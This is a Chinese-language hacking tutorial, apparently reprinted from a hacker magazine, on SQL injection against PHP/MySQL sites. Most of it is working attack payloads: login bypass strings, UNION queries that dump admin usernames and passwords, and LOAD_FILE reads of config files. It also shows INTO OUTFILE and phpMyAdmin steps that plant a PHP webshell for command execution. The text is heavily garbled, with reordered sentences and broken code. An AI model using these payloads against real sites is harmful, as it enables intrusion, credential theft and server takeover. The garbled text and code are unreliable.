最新的php_SQL注入专题
/* 此文已发于《黑客 x 档案》 2010 年 8 期专题。
以及所有协助过我人。 * 谨以此文献给最爱我爸爸妈妈。/
/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 由于 xfocu 不支持上传图片
您可以到 ddds域名 k.info/txt/php.pdf 下载此文的 pdf 文档 ( 含图片 ) */
依靠它强大的灵活性吸引了广大黑迷。 Php 注入攻击是现今最流行的攻击方式。
也讲到 php + mysql 注入的问题,上一期的 php 平安与注射专题》中林 .linx 主要讲述了 php 顺序的各种漏洞。可是讲的注入的问题比较少,让我感觉没有尽兴是吧 .
一定让你满载而归哦(谁扔砖头哩! OK, 这一期我将给大家伙仔仔细细的吹一吹 php + mysql 注入。
可能某些东西会感觉比较乏味,本文主要是为小菜们服务的如果你已经是一只老鸟呢。但只要你仔细的看,会发现很多有趣的东西哦。
阅读此文你只要明白下面的这点东西就够了
如果您对搭建 php+mysql 环境不是很清楚,1. 明白 php+mysql 环境是如何搭建的光盘中我收录搭建的相关文章。请先查阅此文,上一期的专题中也有所介绍。
主要用到 php.ini 和 httpd.con2. 大概了解 php 和 apach 配置。f
即让 safe_mod = On 还有一个就是返回 php 执行错误的 display_error 这会返回很多有用的信息,而此文我主要用到 php.ini 配置。为了平安起见我一般都打开 php.ini 里的平安模式。所以我应该关闭之,
php 函数执行错误的信息将不会再显示给用户。 即让 display_error = off 关闭错误显示后。
php 配置文件 php.ini 中还有一个非常重要的配置选项 magic_quotes_gpc 高版本的默认都是 magic_quotes_gpc = On 只有在原来的古董级的 php 中的
默认配置是 magic_quotes_gpc = Off 可是古董的东西也有人用的哦!
不用惊慌,天是塌不下来的啦!只是把提交的变量中所有的 ' 单引号 ) , 当 php.ini 中 magic_quotes_gpc = On 时候会有什么情况发生哩。双引号 ) , / 反斜线 ) 和 空字符会自动转为含有反斜线的转义字符,例如把 ’ 变成了 / , 把 / 变成了 //
让我很不爽哦,就是这一点。很多时候我对字符型的就只好说 BYEBYE
还是会有好方法来对付它往下看咯! 但是不用气馁。
这些都很简单,3. 有一定的 php 语言基础和了解一些 sql 语句。用到东西很少,所以充电还来的及哦!
然后我再想方法搞一搞 magic_quotes_gpc = On 情况哈 先来看看 magic_quotes_gpc = Off 时候我能干些啥。
一: magic_quotes_gpc = Off 时的注入攻击
新版本默认也让 magic_quotes_gpc = Off 情况虽然说很不安全。
例如 域名....qichi.* magic_quotes_gpc = On 可是很多服务器中我还发现 magic_quotes_gpc = Off 情况。
所以说 还有某些顺序像 vbb 论坛就算你配置 magic_quotes_gpc = On 也会自动消除转义字符让我有机可乘。
magic_quotes_gpc = Off 注入方式还是大有市场的
注入点 and 注入类型几个方面来详细讲解 mysql + php 注入 下面我将从语法。
A : 从 MYSQL 语法方面先
算是给没有好好学习的孩子补课了哦 ~_ 1 先讲一些 mysql 基本语法。~
1 select
SELECT [SPA IGHT_JOIN] [SQL_SMA LL_RESULT]
.. select_expression..
[INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
[FROM table_references
[WHERE where_definition]
... [GROUP BY col_name.]
...[ORDER BY {unsigned_integ | col_nam | formula} [A SC | DESC] .]
]
select_express 指想要检索的列,常用的就是这些。后面我可以用 where 来限制条件,也可以用 into outfil 将 select 结果输出到文件中。当然我也可以用 select 直接输出
例如
mysql> select 'a';
+---+
| a |
+---+
| a |
+---+
1 row in set 0.00 sec
具体内容请看 mysql 中文手册 7.12 节
下面说一些利用啦
看代码先
这段代码是用来搜索的哦
<form method= POST action= <? echo $PHP_SELF; ?> >
<input type= text name= search ><br>
<input type= submit value= Search >
</form>
<?php
SELECT * FROM user WHERE usernam LIKE %$search% ORDER BY username
.
?>
% 就是通配符,其它通配符还有 ’ * 和 ’ _ , 这里我顺便说一下 mysql 中的通配符。其中 " * " 用来匹配字段名,而 " % " 用来匹配字段值,注意的 % 必需与 like 一起适用,还有一个通配符,就是下划线 " _ " 代表的意思和上面不同,用来匹配任何单个的字符的上面的代码中我用到 * 表示返回的所有字段名, %$search% 表示所有包括 $search 字符的内容。
如何注入哩?
和 asp 里很相似 哈哈。
表单里提交
A abb% or 1=1 order by id#
即让后面的 sql 语句不执行,注: # mysql 中表示注释的意思。后面将讲到
看下面,或许有人会问为什么要用 or 1 = 1 呢。
把提交的内容带入到 sql 语句中成为
SELECT * FROM user WHERE usernam LIKE %aabb% or 1=1 order by id# ORDER BY username
那么 or 1 = 1 使返回值仍为真,假如没有含有 aabb 用户名。使能返回所有值
还可以这样
表单里提交
% order by id#
或者
order by id#
带入 sql 语句中成了
SELECT * FROM user WHERE usernam LIKE % % order by id# ORDER BY username
和
SELECT * FROM user WHERE usernam LIKE %% order by id# ORDER BY username
当然了内容全部返回。
没准连密码都出来哩。 列出所有用户了哟。
下面会有更精妙的 select 语句呈现,这里就举个例子先。 select 实际上几乎是无处不在哦!
2 下面看 updat 咯
Mysql 中文手册里这么解释的
col_name2=expr2,UPDA TE [LOW_PRIORITY] tbl_name SET col_name1=expr1....
[WHERE where_definition]
SET 子句指出哪个列要修改和他应该被给定的值,UPDA TE 用新值更新现存表中行的列。 WHERE 子句,如果给出,指定哪个行应该被更新,否则所有行被更新。
这里详细介绍的话会很罗嗦的哦。 详细内容去看 mysql 中文手册 7.17 节啦。
例如文章的修改,由上可知 updat 主要用于数据的更新。用户资料的修改,似乎更关心后者,因为 ......
看代码先哦
这样大家看的明白 先给出表的结构。
CREA TE TA BLE user
id int 10 NOT NULL auto_increment.
login varchar 25 .
email varchar 30 .
userlevel tinyint.
PRIMA RY KEY id
1 为管理员,其中 userlevel 表示等级。 2 为普通用户
<?php
//change.php
email='$email' WHERE id='$id'$sql = "UPDA TE user SET password='$pass'."
?>
添 email 地方我添入 Ok 开始注入了哦。
userlevel= netsh@163.com .1
sql 语句执行的就是
userlevel= 1 WHERE id='youid email='netsh@163.com .
看看我 userlevel 就是 1 变成管理员了哟
如此之爽,哈哈。简直是居家旅行必备啊。
如果只用了一个单引号而没有单引号与之组成一对,这里我简单提一下单引号闭合的问题。系统会返回错误。列类型主要分为数字类型,日期和时间类型,字符串类型,然而引号一般用在字符串类型里,而在数字类型里一般人都不会用到引号(然而却是可以用的而且威力很大)日期和时间类型就很少用于注入了因为很少有提交时间变量的下面我会详细将这几种类型的注入方式哦!
3 下面轮到 insert 已经等的不耐烦了简直就像中午食堂里的学生们
Php 中文手册是这样教我
INSERT [LOW_PRIORITY | DELA YED] [IGNORE]
... [INTO] tbl_name [ col_name.]
... , VA LUES expression. ... ,...
INSERT ... VA LUES 形式的语句基于明确指定的值插入行,INSERT 把新行插入到一个存在表中。 INSERT ... SELECT 形式插入从其他表选择的行,有多个值表的 INSERT ... VA LUES 形式在 MySQL 3.22.5 或以后版本中支持, col_name=express 语法在 MySQL 3.22.10 或以后版本中支持。
insert 主要就出现在注册的地方,由此可见对于见不到后台的来说。或者有其它提交的地方地方也可以哦。
看看表的结构先
CREA TE TA BLE membr
id varchar 15 NOT NULL default ''.
login varchar 25 .
password varchar 25 .
email varchar 30 .
userlevel tinyint.
PRIMA RY KEY id
1 为管理者,仍然假设 userlevel 表示用户等级。 2 为普通用户哈。
代码如下
<?php
//reg.php
'$login',$queri = "INSERT INTO member VA LUES '$id'.'$pass','$email', 2' " ;
?>
默认插入用户等级是 2
现在构建注入语句了哦
还是要我输入 email 地方输入:
1 netsh@163.com .#
sql 语句执行时变成了
'youname',INSERT INTO membr VA LUES 'youid'.'youpass',' netsh@163.com , 1 #',?'
看我一注册就是管理员了
不是忘了吧,# 号表示什么来着。晕了这么快?
下面再详细给你说说 忘就忘了吧。
这个是很重要的大家可不能再睡觉啦,2. 下面说一说 mysql 中的注释。要是再睡觉到期末考试的时候就挂了
继续
这里我将再详细介绍一下。 相信大家在上面的几个例子中已经看到注释的强大作用了吧。
Mysql 有 3 种注释句法
# 注射掉注释符后面的本行内容
-- 注射效果同 #
/* ... */ 注释掉符号中间的局部
对于 # 号将是最常用的注释方法。
-- 号记得后面还得有一个空格才干起注释作用。
吧? /* */ 一般只用前面的 /* 就够了因为后面的想加也不行。
注意:浏览器地址栏输入 # 时应把它写成 %23 这样经 urlencod 转换后才能成为 # 从而起到注释的作用。 # 号在浏览器的地址框中输入的话可什么也不是哦。
为了大家深刻理解
这里我给大家来个例题
有如下的管理员信息表
CREA TE TA BLE alphaauthor
KEY Id_2 Id
<?php
//Login.php
$query="select * from alphaauthor where UserName='$username' and Password='$passwd'";
$result=mysql_queri $queri ;
$data=mysql_fetch_arrai $result ;
if $data
{
Echo 重要信息 ” ;
}
Else
Echo 登陆失败 ” ;
?>
浏览器地址框直接输入
http://***/login.php?username=a or id=1 %23
%23 转换成 #
放到 sql 语句中
select * from alphaauthor where UserName='a or id=1 #' and Password='$passwd'
# 号后面的都拜输入了看看
这句话等价于
select * from alphaauthor where UserName='a or id=1
只要有 id=1 账户,再仔细看看表的结构。返回的 $data 就应该为真
就直接登陆了当然你也可以写
hppt://***/login.php?username=a or 1 = 1 %23
一样的啦
3. 下面将要出场的
对了就是这些显示系统信息的间谍们
VERSION 返回数据库版本信息
如果没有当前的数据库,DA TA BA SE 返回当前的数据库名字。 DA TA BA SE 返回空字符串。
USER
SYSTEM_USER
SESSION_USER
返回当前 MySQL 用户名
databas ,mysql> select user .version ;
+----------------+------------+----------------+
| user | databas | version |
+----------------+------------+----------------+
| root@localhost | alpha | 5.0.0-alpha-nt |
+----------------+------------+----------------+
1 row in set 0.01 sec
图不是很爽是不是睁大你大眼睛好好看哦 如图 ( 1 所示 .
比如说你可以根据他 mysql 版本看看他 mysql 有没有什么溢出漏洞,有时候很有用的哦。没准我就发现个好动东哈哈
睡着了醒一醒啦。 4. 下面进入最重要的局部了没睡觉的打起精神来。
1 select union select
还是 php 中文手册中讲的
SELECT ... UNION [A LL] SELECT ... [UNION SELECT ...]
UNION MySQL 4.0.0 中被实现。
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。
SELECT 中的 select_express 局部列出的列必需具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
但是有下列的限制: SELECT 命令是一个普通的选择命令。
只有最后一个 SELECT 命令可以有 INTO OUTFILE
只有这样 union 函数才干发挥作用。如果字段数不等将返回 需要注意的 union 前后的 select 字段数相同。
ERROR 1222 21000 : The us SELECT statement have a differ number of column 错误
这样不好吧。咋半哩? 晕咯。
急也没用的 别急哈。
例如:
已知 alphadb 表有 11 列
2,mysql> select * from alphadb where id=351 union select 1.3,4,5,6,7,8,9,10 from alphaauthor;
如图( 2
只 slect 10 个数当然出错啦。
下面看
2,mysql> select * from alphadb where id=347 union select 1.3,4,5,6,7,8,9,10,11 from alphaauthor;
如图( 3
看看 id = 247 中的数据先
mysql> select * from alphadb where id=347;
+-----+--------------------------------------------+-----------------
| id | titl | content | importtim | author | access | addInto | type | showup | change_ubb | change_html |
+-----+--------------------------------------------+-----------------
| 347 | 利用 adsutil.vbs+..-- 发表于黑客档案 2004.6 期 | 发表于黑客 x 档案第 6 期 | 2004
-03-28 11:50:50 | Alpha | 17 | Alpha | 2 | 1 | 1 | 1 |
+-----+--------------------------------------------+-----------------
1 row in set 0.00 sec
看到返回结果和
2,mysql> select * from alphadb where id=347 union select 1.3,4,5,6,7,8,9,10,11 from alphaauthor;
相同的
大家或许会问,哦。这样有什么用呢?
问的好。
Ok 继续试验
当我输入一个不存在 id 时候
例如 id=0 或者 id=347 and 1<>1
再看看
2,mysql> select * from alphadb where id=347 and 1<>1 union select 1.3,4,5,6,7,8,9,10,11 from alphaauthor;
如图( 4
2, 发现它把我后面的 1.3,4,5,6,7,8,9,10,11 赋给了各个字段来显示。
终于显示不一样了可是这有什么用呢? 哈哈。
先不告诉你
讲一个具体的例子先
http://localhost/site/display.php?id=347
看看图 5
2,http://localhost/site/display.php?id=347 and 1<>1 union select 1.3,4,5,6,7,8,9,10,11 from alphaauthor
结果如图 6
下面我用一幅图来总结一下 union 用法如图 7
Ok 知道怎么利用了不?不知道的话下面将会详细告诉你
2 LOA D_FILE
这个功能太强大了这也是林 .linx 上一个专题中提到方法。虽然说过了可我也不得不再提出来。
记得写全文件的路径和文件名称 Load_fil 可以返回文件的内容。
Etc.
mysql 命令行下输入
mysql> select load_fil 'c:/boot.ini' ;
效果如图( 8
可是网页中怎么搞呢?
可以结合 union select 使用
2,1%20union%20select%201.load_fil 'c:/apache/htdocs/site/lib/sql.inc' ,4,5,6,7,8,9,10,11">http://localhost/site/display.php?id=347%20and%201<>2,load_fil 'c:/apache/htdocs/site/lib/sql.inc' ,4,5,6,7,8,9,10,11
这里的 c:/apache/htdocs/site/lib/sql.inc 并不是配置文件哦。P
看仔细图 9 中的
文件内容流露无疑。 看看。
而原来图 7 中显示 3 地方应该是显示文章内容,为什么要把 load_fil 'c:/apache/htdocs/site/lib/sql.inc' 放在 3 字段呢?前面提到列类型一共有那么三种。应该是字符型的而 load_fil 'c:/apache/htdocs/site/lib/sql.inc' 也一定是字符型的所以我猜测放在 3 字段可以顺利显示。
继续往下看哦! 其实还有很多好的利用方法。
3 select * from tabl into outfile'file.txt'
有啥用哩?
知道有多重要了吧,作用就是把表的内容写入文件。写个 webshel 吧,哈哈。
还可以导出其它东西的哦,当然我不只是导出表。往下看啦。
假设有如下表
#
# 数据表的结构 `test`
#
CREA TE TA BLE test
b text
ENGINE=MyISA M DEFA ULT CHA RSET=latin1;
#
# 导出下面的数据库内容 `test`
#
NULL INSERT INTO test VA LUES '<?php system $cmd ; ?>'.;
已知我网站路径在 C:/apache/htdocs/site/
看你扮演哦,好。输入
2,http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201.a,4,5,6,7,8,9,10,11%20from%20test%20into%20outfile%20'C:/apache/htdocs/site/cmd.php'
意思就是把表里的 a 列内容导出到 cmd.phpzhong
看看 cmd.php 里的内容先
1 2 <?php system $cmd ; ?> 0000-00-00 00:00:00 5 6 7 8 9 10 11
执行一下看看先
http://localhost/site/cmd.php?cmd=dir
如图 ( 10
果然很爽哦! 哈哈。
4 下面给大家讲述 LOA D DA TA INFILE 故事
LOA D DA TA [LOW_PRIORITY] [LOCA L] INFILE 'file_name.txt' [REPLA CE | IGNORE] INTO TA BLE tbl_name
LOA D DA TA INFILE 语句从一个文本文件中以很高的速度读入一个表中。
所以作用不是很大。 因为这个语句一般情况下不能在浏览器里直接输入。
这里举个例子来说说
表 test 结构和上面介绍的一样
#
# 数据表的结构 `test`
#
CREA TE TA BLE test
b text
ENGINE=MyISA M DEFA ULT CHA RSET=latin1;
mysql 命令行下输入:
Mysql>load data infil 'c:/cmd.php' into tabl test
其中 c:/cmd.php 内容为
<?php system $cmd ; ?>
注意:上面的内容写在一行里哦。
通过上面的指令我就把 cmd.asp 内容输入到 test 表中
所得结果如图( 11
再结合 into outfil 不是一个完美的组合呢。 实际上得到就是上个例子 test 表中的内容!看看。
可以去 php 中文手册里淘金,基本的语法就将到这里了可能还有很多重要的东西漏掉了哦。相信你一定会找到很多好东西的自己挖掘吧。随光盘我付上一个 php 中文手册)
B: 从注入方式上
字符型和搜索类 主要有数字型。
1. 数字型
大家应该还都记得 asp 下如何破管理员密码,很常见了上面举的就一直是字符型的例子。下面我来看一下 php 下如何实现
地址栏输入:
http://localhost/site/display.php?id=451%20and%201= select%20min id %20from%20alphaauthor
有的时候也返回其它什么的这主要根据构造 1 = 1 和 1 = 2 时的页面判断) 判断是否存在 alphaauthor 如果有返回正常页面(一般情况啦。
http://localhost/site/display.php?id=451%20and%201= select%20min id %20from%20alphaauthor%20where%20length usernam =5
判断是否 usernam 字段的长度为 5
http://localhost/site/display.php?id=451%20and%201= select%20min id %20from%20alphaauthor%20where%20length usernam =5%20and%20length password =32
判断 password 字段的长度 跟上面差不多啦。
用 ascii 方法来一位一位猜测吧。 Ascii 等同于 asp 下的 asc 哈哈,下面进入猜密码的阶段。经常看黑客 X 档案的一定很清楚啦。
1,http://localhost/site/display.php?id=451%20and%201= select%20min id %20from%20alphaauthor%20where%20ascii mid username.1 =97
用户名第一位哦 ascii97 就是字符 a 啦
2,http://localhost/site/display.php?id=451%20and%201= select%20min id %20from%20alphaauthor%20where%20ascii mid username.1 =108
这里只放这一个图啦,第二位啦。如图( 12
下面省略 X 条。
反正我最后是得出用户名和密码了
会发现这里的注入方法几乎和 asp 下的注入是一样的就是把 asc 变成 ascii 把 len 变成 length 就可以了最后我就可以得到后台的管理员账号和密码。
可以直接用 union 方法直接得到 当然我有更简单的方法。
username,http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201.password,4,5,6,7,8,9,10,11%20from%20alphaauthor
如图( 13
哈哈,账号是 alpha 密码是一长串的东东。简单明了看到没有,这里显示出了 union select 强大威力了吧。
如果在同一个表里面我还可以像下面这样哩: 上面讲的不通的表里面猜测内容。
下面的一段代码根据用户 id 显示用户信息
<?php
//user.php
..
$sql = "SELECT * FROM user WHERE id=$id";
if !$result
{
echo "wrong";
exit;
}
else
echo " 用户信息 ";
?>
猜测方法和上面几乎是一样的就是不用再用 select
输入
http://localhost/user.php?id=1 and length password =7
呵呵,显示用户信息说明我猜的正确。 comeon
1,http://localhost/user.php?id=1 and ascii mid password.1 =97
第一位密码
2,http://localhost/user.php?id=1 and ascii mid password.1 =97
第二位哦。
通过这种方法最终我也可以得出 id=1 用户的账号密码
2. 下面我来看看字符型的注入方式
php 中字符型的注入就主要在 asp 中字符型的注入方式很灵活。
先不告诉你 magic_quotes_gpc = Off 情况下进行了除非有另外一种情况。
例如:
<?php
//display.php
$query="select * from alphadb where id= .$id. ";
..
?>
这样 id 就变成字符型的
假如我这样写程序的话,不知道大家发现没有。平安性会有所提高的哦
继续了 呵呵。
好我检验是否有注入先
http://localhost/site/display.php?id=451' and 1=1 and =
http://localhost/site/display.php?id=451' and 1=2 and =
带入到 sql 语句里就是
select * from alphadb where id= 451 and 1=1 and =
select * from alphadb where id= 451 and 1=2 and =
如果你发现页面信息不同的话说明漏洞存在哦
或者
http://localhost/site/display.php?id=451' and 1=1 %23
http://localhost/site/display.php?id=451' and 1=2 %23
上面说过了哦 %23 转化以后就是 # 即注释的意思。
这样的话就不用考虑那个引号的闭合问题了实际很多时候我推荐这种方法。
把它带入到 sql 语句里就成了
select * from alphadb where id= 451 and 1=1 #
正是想要的哦!
看看效果吧。
http://localhost/site/display.php?id=451' and 1=1 %23
图( 14
正常显示了呓!
http://localhost/site/display.php?id=451' and 1=2 %23
图( 15
哈哈,显示不正常。说明问题存在
继续哦:
username,http://localhost/site/display.php?id=451 %20and%201=2%20%20union%20select%201.password,4,5,6,7,8,9,10,11%20from%20alphaauthor%23
看图( 16
用户名和密码又出来了哦! Ok.
3. 大家一起来看看搜索型注入吧
搜索型的语句一般这样写
<?php
//search.php
$query="select * from alphadb where titl like '%$title%';
..
?>
不知道大家还是否记得 asp 里的注入呢?
看吧。 不过不记得也没有关系的啦。
构建注入语句吧
输入框输入
username,a%' and 1=2 union select 1.3,4,5,6,7,8, password,10,11 from alphaauthor# 放到 sql 语句中成了
username,select * from alphadb where titl like '%a%' and 1=2 union select 1.3,4,5,6,7,8, password,10,11 from alphaauthor# %'
结果如图 17 哦
进去了吧,怎么样。哈哈,一切尽在掌握之中。
C 下面我从注入地点上在来看一下各种注入攻击方式
1 首先来看看后台登陆哦
代码先
<?php
//login.php
.
$query="select * from alphaauthor where UserName='"
.$HTTP_POST_VA RS["UserName"]."' and
Password='". $HTTP_POST_VA RS["Password"]."'";
$result=mysql_queri $queri ;
$data=mysql_fetch_arrai $result ;
if $data
{
echo 后台登陆胜利 ” ;
}
esle
{
echo 重新登陆 ”
exit
}
?>
Usernam 和 password 没有经过任何处置直接放到 sql 中执行了
看看我怎么绕过呢?
最经典的还是那个:
用户名和密码框里都输入
or =
带入 sql 语句中成了
select * from alphaauthor where UserName= or = and Password= or =
也就是胜利登陆了 这样带入得到 $data 肯定为真。
原理是一样的就是想办法让 $data 返回是真就可以了 还有其他绕过方法。
可以用下面的这些中方法哦
1.
用户名和密码都输入 ’ or a = a
Sql 成了
select * from alphaauthor where UserName= or a = a and Password= or a = a
2.
用户名和密码都输入 ’ or 1=1 and =
Sql 成了
select * from alphaauthor where UserName= or 1=1 and = and Password= or 1=1 and =
用户名和密码都输入 ’ or 2>1 and =
Sql 成了
select * from alphaauthor where UserName= or 2>1 and = and Password= or 2>1 and =
3.
用户名输入 ’ or 1=1 # 密码随便输入
Sql 成了
select * from alphaauthor where UserName= or 1 = 1 # and Password= anyth
后面局部被注释掉了当然返回还是真哦。
4.
假设 admin id = 1 话你也可以
用户名输入 ’ or id = 1 # 密码随便输入
Sql 成了
select * from alphaauthor where UserName= or id = 1 # and Password= anyth
如图 18
看看效果图 19
怎么样?直接登陆了哦!
只有想不到没有做不到 俗话说的好。
还有更多的构造方法等着课后自己想啦。
2 第二个常用注入的地方应该算是前台资料显示的地方了
而且涉及了数字型,上面已经多次提到呀。字符型等等,这里就不再重复了哈。
只是举个例子回顾一下
代码就不再列出来了 碧海潮声下载站 - v2.0.3 lite 有注入漏洞。
直接看结果
2,http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201.password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如图 20
又得到想要的 看看。
用户名 alpha
密码一长串。
把 usernam 放在 5 字段处了上面已经提过了哦,为什么我要把 password 放在 3 字段处。就是猜想 3 和 5 段显示的应该是字符串型,而与我要显示的 usernam 和 password 字段类型应该相同,所以我这样放了哦。
可以通过增加 select 个数来猜测到需要 18 个字段,为什么要用 18 个字段呢?不知道大家还是否记得在 union select 介绍那里我提到 union 必需要求前后 select 字段数相同。只有这样 union select 内容才会正常显示哦!
用户注册的地方主要得有用户等级的应用。 3 其它如资料修改。
这里就不再阐述,上面讲述 updat 和 insert 时候都已经讲到因为不是很常用。下面将会提到一些关于 updat 和 insert 高级利用技巧。
二:下面将要进入 magic_quotes_gpc = On 时候的注入攻击教学环节了
交的变量中所有的 ' 单引号 ) , 当 magic_quotes_gpc = On 时候。
/ 反斜线 ) 和 空字符会自动转为含有反斜线的转义字符。 双引号 ) .
这时候我就只能注入数字型且没有 这就使字符型注入的方法化为泡影。
由于数字型没有用到单引号自然就没有绕过的问题了对于这种情况我直接注入就可以了 Intval 处置的情况了数字型的已经讲了很多了吧。
没有在字符上加引号 1 假如是字符型的就必需得像下面这个样子。
这里我要用到一些字符串处置函数先。
这里我主要讲下面的几个,字符串处置函数有很多。具体可以参照 mysql 中文参考手册 7.4.10
char 将参数解释为整数并且返回由这些整数的 ASCII 代码字符组成的一个字符串。
这样也可以的方法就是 16 进制前面加 0x 看下面的例子就明白了 当然你也可以用字符的 16 进制来代替字符。
<?php
//login.php
$query="select * from ".$art_system_db_table['user']."
where UserName=$usernam and Password='".$Pw."'";
?>
假设我知道后台的用户名是 alpha
108, 转化成 ASCII 后是 char 97.112,104,97
转化成 16 进制是 0x616C706861
将在光盘中提供 16 进制和 ascii 转换工具)
好了直接在浏览器里输入:
108,http://localhost/site/admin/login.php?username=char 97.112,104,97 %23
sql 语句变成:
108,select * from alphaA uthor where UserName=char 97.112,104,97 # and Password=''
如图 21
顺利执行了得到想要的 正如我期望的那样。
也可以这样构造 当然咯。
http://localhost/site/admin/login.php?username=0x616C706861%23
sql 语句变成:
select * from alphaA uthor where UserName=0x616C706861%23# and Password=''
再一次是胜利者了很有成就感吧。
或许你会问我否可以把 # 也放在 char 里
108, 实际上 char 97.112,104,97 相当于 ’ alpha
表示 alpha 字符串。 注意是 alpha 上加引号。
知道在 mysql 中如果执行
mysql> select * from dl_user where username=alpha;
ERROR 1054 42S22 : Unknown column 'alpha' in 'where clause'
看返回错误了因为他会认为 alpha 一个变量。所以我得在 alpha 上加引号。
如下
mysql> select * from dl_user where username='alpha';
这样才是正确的
如果你把 # 号也放到那里去了就成了 alpha#
带入 sql 语句中
select * from dl_user where username='alpha#';
当然是什么也没有了因为连 alpha# 这个用户都没有。
下面我再来看个例子,好。
<?php
//display.php
$query="select * from ".$art_system_db_table['article']."
where type=$type;
?>
$type 没有任何过滤,代码根据类型来显示内容。且没有加引号放入程序中。
xiaohua char 转换后是 假设 type 中含有 xiaohua 类。
105,char 120.97,111,104,117,97
构建
105,http://localhost/display.php?type=char 120.97,111,104,117,97 and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
带入 sql 语句中为:
select * from ".$art_system_db_table['article']."
105,where type=char 120.97,111,104,117,97 and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
用户名和密码照样进去了哦!没有截图,看看。想像一下咯: P
magic_quotes_gpc = On 情况下功能强大的 load_fil 还能不能用呢? 2 或许有人会问。
这正是下面要将的问题了 load_fil 使用格式是 load_fil 文件路径 ’
发现只要把 ‘ 文件路径 ’ 转化成 char 就可以了试试看哦
load_fil c:/boot.ini 转化成
58,load_fil char 99.47,98,111,111,116,46,105,110,105
图 22
放到具体注入里就是
2,http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201.load_fil char 99,58,47,98,111,111,116,46,105,110,105 ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
看图 23
看到 boot.ini 内容了哦。 看看。
不然就更爽了但是还是有一个地方可以使用 select * from tabl into outfil 那就是 . 先卖个关子,很可惜的 into outfil 不能绕过。下面会告诉你
很多都是个人发现哦 三:一些注入技巧。
1.union select 技巧
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。 SELECT 中的 select_express 局部列出的列必需具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
可是省去很多时间 然而有我可以用下面的方法来猜测列的类型。
先
2,http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201.3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
图 24
这就应该是 int 型的对吧。 看看软件描述里写着 3 作者里写着 4 就可以猜测 3 和 4 位置是字符型的再看 14 前面的下载次数。
估计 usernam 和 password 也是字符型的 好了根据这里来构建吧。
试试看哦
2,http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201.password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如图 25
这种方法只要看看就可以大概猜到 哈哈。
2.load_fil 读写文件的技巧
不知道你有没有发现过在用 load_fil 读写 php 文件时不能在网页中显示。例如:
'C:/apache/htdocs/site/lib/sql.inc.php' 转化为 16 进制为: 0x433A 2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
构造如下
2,http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201.load_fil 0x433A 2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870 ,4,5,6,7,8,9,10,11
如图 26
为何呢? 发现在文章内容的地方原本该显示 sql.inc.php 可是却空空之。
看看网页的源代码先
图 27
看看标志的地方,哈哈。晕死,原来在这里啊,可是为什么哩?
哈哈,原来 html 中 < > 用于标注。明白了吧!下次可得记得在哪里找哦。
4. md5 恶梦
比他更爽,山东大学的王博士最近可是搞 md5 搞的红透了也来搞一搞吧。不用计算,哈哈。
php 中的 md5 函数就不能绕过,md5 有办法绕过的但是并不是哪里都可以。因为你输入的所有东西都在里面,根本跑不出。可以绕过的 sql 语句中的 md5 当然别的 sql 中的函数也是可以绕过的道理相同哦。
看例子先:
<?php
//login.php
$query="select * from alphaauthor where UserName=md5 $usernam and Password='".$Pw."'";
?>
直接在浏览器提交
98 or 1=1 %2http:/login.php?username=char 97.3
98 or 1=1 # and Password='".$Pw." 带入 sql 语句成为 select * from alphaauthor where UserName=md5 char 97.'
因为后面有 or 1=2 所以我随便放了个 char 97, 记得 md5 里面放的字符。98 . Ok 登陆胜利了哦!看看, md5 面前也没有什么用处。
利用 php+mysql 注入漏洞直接写入 webshel 5. 核心技术。
下面就教给你 直接利用注入得到 webshel 这应该是大家都很想的吧。
这里假设网站路径为 c:/apache/htdocs/sit 网站的 mysql 连接信息放在 /lib/sql.inc.php 里 这里假设你已经知道了网站所在物理路径。
1 适用于 magic_quotes_gpc = Off
或者 txt zip 等其它东西,假设我可以上传图片。把我木马改成
jpg 后缀的上传后路径为 /upload/2004091201.jpg
2004091201.jpg 中的内容为 <?php system $cmd ; ?>
开始 http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201, 好。2,load_fil 'C:/apache/htdocs/site/upload/2004091201.jpg' ,4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php'
但是任务是完成了 因为适用了 outfil 所以网页显示不正常。
如图 28
赶快去看看 http://localhost/site/shell.php?cmd=dir
如图 29
爽否? Webshel 已经创建胜利了看到最前面的 12 没?那就是 select 1 2 所输出的
显然肯定也能用在于 magic_quotes_gpc = Off 时候啦。 2 下面再讲一个适用于 magic_quotes_gpc = On 时候保管 webshel 方法哦。
用技巧 2 介绍的方法 直接读他配置文件。
2,http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201.load_fil 0x433A 2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870 ,4,5,6,7,8,9,10,11
得到 sql.inc.php 内容为
"root",<?$connect=@mysql_connect "localhost"."" or die "Unable to connect to SQL server" ;mysql_select_db "alpha",$connect or die "Unable to select database" ;?>
好了知道了 mysql root 密码了找到 phpmyadmin 后台
http://localhost/phpmyadmin/
用 root 密码为空登陆。
如图 30
然后我新建立一个表结构内容如下:
#
# 数据表的结构 `te`
#
CREA TE TA BLE te
cmd text NOT NULL
ENGINE=MyISA M DEFA ULT CHA RSET=latin1;
#
# 导出下面的数据库内容 `te`
#
INSERT INTO te VA LUES '<?php system $cmd ; ?>' ;
Ok 用 select * from tabl into outfil 时候了
直接在 phpmyadmin sql 输入
SELECT * FROM `te` into outfil 'C:/apache/htdocs/site/cmd1.php';
如图 31
